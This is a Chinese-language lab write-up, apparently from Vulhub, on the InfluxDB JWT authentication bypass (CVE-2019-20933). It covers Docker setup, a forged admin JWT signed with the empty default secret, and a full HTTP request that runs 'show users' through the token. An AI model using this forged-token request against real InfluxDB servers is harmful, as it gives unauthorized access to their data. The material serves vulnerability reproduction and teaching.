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66 lines
1.9 KiB
Markdown
66 lines
1.9 KiB
Markdown
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# InfluxDB JWT 认证绕过漏洞 CVE-2019-20933
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## 漏洞描述
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InfluxDB是一款著名的时序数据库，其使用jwt作为鉴权方式。
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在其1.7.6版本以前，默认设置jwt的认证密钥`shared-secret`为空字符串，导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
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参考链接：
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- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
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- https://github.com/influxdata/influxdb/issues/12927
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- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
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- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
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## 环境搭建
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Vulhub执行如下命令启动InfluxDB 1.6.6：
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8086/debug/vars`即可查看一些服务信息，但此时执行SQL语句则会出现401错误：
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## 漏洞复现
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借助<https://jwt.io/>来生成jwt token：
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```
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{
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"alg": "HS256",
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"typ": "JWT"
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}
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{
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"username": "admin",
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"exp": 1998787794
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}
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```
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其中，`admin`是一个已经存在的用户，`exp`是一个时间戳，代表着这个token的过期时间，你需要设置为一个未来的时间戳。借助<https://tool.lu/timestamp/>来生成时间戳。
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最终生成的token：
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发送带有这个jwt token的数据包，可见SQL语句执行成功：
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```
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POST /query HTTP/1.1
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Host: your-ip:8086
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxOTk4Nzg3Nzk0fQ.i69iSGK3q5OCEX0aExMKHciDG7nivuz4xHTgyj4-CPY
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 12
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db=sample&q=show+users
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```
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